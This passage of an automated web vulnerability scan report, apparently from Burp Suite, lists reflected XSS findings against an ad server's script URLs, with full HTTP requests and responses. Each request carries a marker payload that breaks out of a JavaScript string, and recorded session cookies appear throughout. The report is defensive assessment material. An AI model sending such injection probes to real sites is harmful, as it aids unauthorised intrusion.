GET //cgi/k/20140829/3585585a1'%3b1941ee17325/0/0/203687989/203687989//0/203/9542//4000004/i.js HTTP/1.1
Host: e2.cdn.qnsr.com
Proxy-Connection: keep-alive
Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==

Response

HTTP/1.1 200 OK
Server: QUAD 3G
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Content-Type: application/javascript
Content-Length: 1498
Cache-Control: max-age=2591996
Expires: Mon, 28 Mar 2011 01:49:28 GMT
Date: Sat, 26 Feb 2011 01:49:32 GMT
Connection: close


var zzADS_CHAN = '203687989';
if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') {
var zzStr = zzPage_obj[zzADS_CHAN].zzStr;
var zzTrd = z
...[SNIP]...
<SCRIPT language=\'JavaScript1.1\' SRC="http://ad.doubleclick.net/adj/N5295.Internet.com/B5200652.4;sz=728x90;click0=http://o1.qnsr.com//cgi/c%3Fa=20140829%3Bx=3585585a1';1941ee17325%3Bg=0,0%3Bc=203687989,203687989%3Bi=0%3Bn=203%3Bs=9542%3B%3Bq=1%3Bk=' + zz_trd + ';ord=123456?">
...[SNIP]...

1.90. http://e2.cdn.qnsr.com//cgi/k/20140829/3585/0/0/203687989/203687989//0/203/9542//4000004/i.js [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://e2.cdn.qnsr.com
Path:   //cgi/k/20140829/3585/0/0/203687989/203687989//0/203/9542//4000004/i.js

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload fde13'%3b899c01c4079 was submitted in the REST URL parameter 5. This input was echoed as fde13';899c01c4079 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET //cgi/k/20140829/3585/0fde13'%3b899c01c4079/0/203687989/203687989//0/203/9542//4000004/i.js HTTP/1.1
Host: e2.cdn.qnsr.com
Proxy-Connection: keep-alive
Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==

Response

HTTP/1.1 200 OK
Server: QUAD 3G
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Content-Type: application/javascript
Content-Length: 1498
Cache-Control: max-age=2591982
Expires: Mon, 28 Mar 2011 01:49:17 GMT
Date: Sat, 26 Feb 2011 01:49:35 GMT
Connection: close


var zzADS_CHAN = '203687989';
if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') {
var zzStr = zzPage_obj[zzADS_CHAN].zzStr;
var zzTrd = z
...[SNIP]...
<SCRIPT language=\'JavaScript1.1\' SRC="http://ad.doubleclick.net/adj/N5295.Internet.com/B5200652.4;sz=728x90;click0=http://o1.qnsr.com//cgi/c%3Fa=20140829%3Bx=3585%3Bg=0fde13';899c01c4079,0%3Bc=203687989,203687989%3Bi=0%3Bn=203%3Bs=9542%3B%3Bq=1%3Bk=' + zz_trd + ';ord=123456?">
...[SNIP]...

1.91. http://e2.cdn.qnsr.com//cgi/k/20140829/3585/0/0/203687989/203687989//0/203/9542//4000004/i.js [REST URL parameter 6]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://e2.cdn.qnsr.com
Path:   //cgi/k/20140829/3585/0/0/203687989/203687989//0/203/9542//4000004/i.js

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a9129'%3b96c2477c71d was submitted in the REST URL parameter 6. This input was echoed as a9129';96c2477c71d in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET //cgi/k/20140829/3585/0/0a9129'%3b96c2477c71d/203687989/203687989//0/203/9542//4000004/i.js HTTP/1.1
Host: e2.cdn.qnsr.com
Proxy-Connection: keep-alive
Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==

Response

HTTP/1.1 200 OK
Server: QUAD 3G
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Content-Type: application/javascript
Content-Length: 1498
Cache-Control: max-age=2591947
Expires: Mon, 28 Mar 2011 01:48:46 GMT
Date: Sat, 26 Feb 2011 01:49:39 GMT
Connection: close


var zzADS_CHAN = '203687989';
if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') {
var zzStr = zzPage_obj[zzADS_CHAN].zzStr;
var zzTrd = z
...[SNIP]...
<SCRIPT language=\'JavaScript1.1\' SRC="http://ad.doubleclick.net/adj/N5295.Internet.com/B5200652.4;sz=728x90;click0=http://o1.qnsr.com//cgi/c%3Fa=20140829%3Bx=3585%3Bg=0,0a9129';96c2477c71d%3Bc=203687989,203687989%3Bi=0%3Bn=203%3Bs=9542%3B%3Bq=1%3Bk=' + zz_trd + ';ord=123456?">
...[SNIP]...

1.92. http://e2.cdn.qnsr.com//cgi/k/20140829/3585/0/0/203687989/203687989//0/203/9542//4000004/i.js [REST URL parameter 7]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://e2.cdn.qnsr.com
Path:   //cgi/k/20140829/3585/0/0/203687989/203687989//0/203/9542//4000004/i.js

Issue detail

The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 59ed7'%3bde0cfbe8e7b was submitted in the REST URL parameter 7. This input was echoed as 59ed7';de0cfbe8e7b in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET //cgi/k/20140829/3585/0/0/20368798959ed7'%3bde0cfbe8e7b/203687989//0/203/9542//4000004/i.js HTTP/1.1
Host: e2.cdn.qnsr.com
Proxy-Connection: keep-alive
Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==

Response

HTTP/1.1 200 OK
Server: QUAD 3G
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Content-Type: application/javascript
Content-Length: 1516
Cache-Control: max-age=2592000
Expires: Mon, 28 Mar 2011 01:49:42 GMT
Date: Sat, 26 Feb 2011 01:49:42 GMT
Connection: close


var zzADS_CHAN = '20368798959ed7';de0cfbe8e7b';
if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') {
var zzStr = zzPage_obj[zzADS_CHAN].zzStr;
var zzTrd = zzPage_obj[zzADS_CHAN].zzTrd;

...[SNIP]...

1.93. http://e2.cdn.qnsr.com//cgi/k/20140829/3585/0/0/203687989/203687989//0/203/9542//4000004/i.js [REST URL parameter 8]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://e2.cdn.qnsr.com
Path:   //cgi/k/20140829/3585/0/0/203687989/203687989//0/203/9542//4000004/i.js

Issue detail

The value of REST URL parameter 8 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 714d0'%3b84e7733cd79 was submitted in the REST URL parameter 8. This input was echoed as 714d0';84e7733cd79 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET //cgi/k/20140829/3585/0/0/203687989/203687989714d0'%3b84e7733cd79//0/203/9542//4000004/i.js HTTP/1.1
Host: e2.cdn.qnsr.com
Proxy-Connection: keep-alive
Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==

Response

HTTP/1.1 200 OK
Server: QUAD 3G
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Content-Type: application/javascript
Content-Length: 1498
Cache-Control: max-age=2592000
Expires: Mon, 28 Mar 2011 01:49:45 GMT
Date: Sat, 26 Feb 2011 01:49:45 GMT
Connection: close


var zzADS_CHAN = '203687989';
if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') {
var zzStr = zzPage_obj[zzADS_CHAN].zzStr;
var zzTrd = z
...[SNIP]...
<SCRIPT language=\'JavaScript1.1\' SRC="http://ad.doubleclick.net/adj/N5295.Internet.com/B5200652.4;sz=728x90;click0=http://o1.qnsr.com//cgi/c%3Fa=20140829%3Bx=3585%3Bg=0,0%3Bc=203687989,203687989714d0';84e7733cd79%3Bi=0%3Bn=203%3Bs=9542%3B%3Bq=1%3Bk=' + zz_trd + ';ord=123456?">
...[SNIP]...

1.94. http://e2.cdn.qnsr.com//cgi/k/20140829/3585/0/0/203687989/203687989//0/203/9542//4000004/i.js [REST URL parameter 9]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://e2.cdn.qnsr.com
Path:   //cgi/k/20140829/3585/0/0/203687989/203687989//0/203/9542//4000004/i.js

Issue detail

The value of REST URL parameter 9 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5bc40'%3b05fa3e45893 was submitted in the REST URL parameter 9. This input was echoed as 5bc40';05fa3e45893 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET //cgi/k/20140829/3585/0/0/203687989/203687989//05bc40'%3b05fa3e45893/203/9542//4000004/i.js HTTP/1.1
Host: e2.cdn.qnsr.com
Proxy-Connection: keep-alive
Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==

Response

HTTP/1.1 200 OK
Server: QUAD 3G
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Content-Type: application/javascript
Content-Length: 1498
Cache-Control: max-age=2591966
Expires: Mon, 28 Mar 2011 01:49:14 GMT
Date: Sat, 26 Feb 2011 01:49:48 GMT
Connection: close


var zzADS_CHAN = '203687989';
if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') {
var zzStr = zzPage_obj[zzADS_CHAN].zzStr;
var zzTrd = z
...[SNIP]...
SCRIPT language=\'JavaScript1.1\' SRC="http://ad.doubleclick.net/adj/N5295.Internet.com/B5200652.4;sz=728x90;click0=http://o1.qnsr.com//cgi/c%3Fa=20140829%3Bx=3585%3Bg=0,0%3Bc=203687989,203687989%3Bi=05bc40';05fa3e45893%3Bn=203%3Bs=9542%3B%3Bq=1%3Bk=' + zz_trd + ';ord=123456?">
...[SNIP]...

1.95. http://e2.cdn.qnsr.com//cgi/k/20142454/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js [REST URL parameter 10]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://e2.cdn.qnsr.com
Path:   //cgi/k/20142454/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js

Issue detail

The value of REST URL parameter 10 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 41e20'%3b27304de4fd1 was submitted in the REST URL parameter 10. This input was echoed as 41e20';27304de4fd1 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET //cgi/k/20142454/2305/0/0/203687985/203687985//0/20341e20'%3b27304de4fd1/9542//3000007/i.js HTTP/1.1
Host: e2.cdn.qnsr.com
Proxy-Connection: keep-alive
Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==

Response

HTTP/1.1 200 OK
Server: QUAD 3G
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Content-Type: application/javascript
Content-Length: 1499
Cache-Control: max-age=2592000
Expires: Mon, 28 Mar 2011 01:49:51 GMT
Date: Sat, 26 Feb 2011 01:49:51 GMT
Connection: close


var zzADS_CHAN = '203687985';
if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') {
var zzStr = zzPage_obj[zzADS_CHAN].zzStr;
var zzTrd = z
...[SNIP]...
nguage=\'JavaScript1.1\' SRC="http://ad.doubleclick.net/adj/N5295.Internet.com/B5200652.6;sz=300x250;click0=http://o1.qnsr.com//cgi/c%3Fa=20142454%3Bx=2305%3Bg=0,0%3Bc=203687985,203687985%3Bi=0%3Bn=20341e20';27304de4fd1%3Bs=9542%3B%3Bq=1%3Bk=' + zz_trd + ';ord=123456?">
...[SNIP]...

1.96. http://e2.cdn.qnsr.com//cgi/k/20142454/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js [REST URL parameter 11]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://e2.cdn.qnsr.com
Path:   //cgi/k/20142454/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js

Issue detail

The value of REST URL parameter 11 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload cee84'%3bfb335840d2c was submitted in the REST URL parameter 11. This input was echoed as cee84';fb335840d2c in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET //cgi/k/20142454/2305/0/0/203687985/203687985//0/203/9542cee84'%3bfb335840d2c//3000007/i.js HTTP/1.1
Host: e2.cdn.qnsr.com
Proxy-Connection: keep-alive
Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==

Response

HTTP/1.1 200 OK
Server: QUAD 3G
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Content-Type: application/javascript
Content-Length: 1499
Cache-Control: max-age=2592000
Expires: Mon, 28 Mar 2011 01:49:54 GMT
Date: Sat, 26 Feb 2011 01:49:54 GMT
Connection: close


var zzADS_CHAN = '203687985';
if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') {
var zzStr = zzPage_obj[zzADS_CHAN].zzStr;
var zzTrd = z
...[SNIP]...
JavaScript1.1\' SRC="http://ad.doubleclick.net/adj/N5295.Internet.com/B5200652.6;sz=300x250;click0=http://o1.qnsr.com//cgi/c%3Fa=20142454%3Bx=2305%3Bg=0,0%3Bc=203687985,203687985%3Bi=0%3Bn=203%3Bs=9542cee84';fb335840d2c%3B%3Bq=1%3Bk=' + zz_trd + ';ord=123456?">
...[SNIP]...

1.97. http://e2.cdn.qnsr.com//cgi/k/20142454/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://e2.cdn.qnsr.com
Path:   //cgi/k/20142454/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload cb585'%3bfb49cec39f9 was submitted in the REST URL parameter 4. This input was echoed as cb585';fb49cec39f9 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET //cgi/k/20142454/2305cb585'%3bfb49cec39f9/0/0/203687985/203687985//0/203/9542//3000007/i.js HTTP/1.1
Host: e2.cdn.qnsr.com
Proxy-Connection: keep-alive
Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==

Response

HTTP/1.1 200 OK
Server: QUAD 3G
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Content-Type: application/javascript
Content-Length: 1499
Cache-Control: max-age=2591972
Expires: Mon, 28 Mar 2011 01:49:03 GMT
Date: Sat, 26 Feb 2011 01:49:31 GMT
Connection: close


var zzADS_CHAN = '203687985';
if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') {
var zzStr = zzPage_obj[zzADS_CHAN].zzStr;
var zzTrd = z
...[SNIP]...
<SCRIPT language=\'JavaScript1.1\' SRC="http://ad.doubleclick.net/adj/N5295.Internet.com/B5200652.6;sz=300x250;click0=http://o1.qnsr.com//cgi/c%3Fa=20142454%3Bx=2305cb585';fb49cec39f9%3Bg=0,0%3Bc=203687985,203687985%3Bi=0%3Bn=203%3Bs=9542%3B%3Bq=1%3Bk=' + zz_trd + ';ord=123456?">
...[SNIP]...

1.98. http://e2.cdn.qnsr.com//cgi/k/20142454/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://e2.cdn.qnsr.com
Path:   //cgi/k/20142454/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c0efa'%3be267596c3ab was submitted in the REST URL parameter 5. This input was echoed as c0efa';e267596c3ab in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET //cgi/k/20142454/2305/0c0efa'%3be267596c3ab/0/203687985/203687985//0/203/9542//3000007/i.js HTTP/1.1
Host: e2.cdn.qnsr.com
Proxy-Connection: keep-alive
Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==

Response

HTTP/1.1 200 OK
Server: QUAD 3G
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Content-Type: application/javascript
Content-Length: 1499
Cache-Control: max-age=2591949
Expires: Mon, 28 Mar 2011 01:48:44 GMT
Date: Sat, 26 Feb 2011 01:49:35 GMT
Connection: close


var zzADS_CHAN = '203687985';
if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') {
var zzStr = zzPage_obj[zzADS_CHAN].zzStr;
var zzTrd = z
...[SNIP]...
<SCRIPT language=\'JavaScript1.1\' SRC="http://ad.doubleclick.net/adj/N5295.Internet.com/B5200652.6;sz=300x250;click0=http://o1.qnsr.com//cgi/c%3Fa=20142454%3Bx=2305%3Bg=0c0efa';e267596c3ab,0%3Bc=203687985,203687985%3Bi=0%3Bn=203%3Bs=9542%3B%3Bq=1%3Bk=' + zz_trd + ';ord=123456?">
...[SNIP]...

1.99. http://e2.cdn.qnsr.com//cgi/k/20142454/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js [REST URL parameter 6]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://e2.cdn.qnsr.com
Path:   //cgi/k/20142454/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7e74a'%3bbdfb1e10276 was submitted in the REST URL parameter 6. This input was echoed as 7e74a';bdfb1e10276 in the application's response.

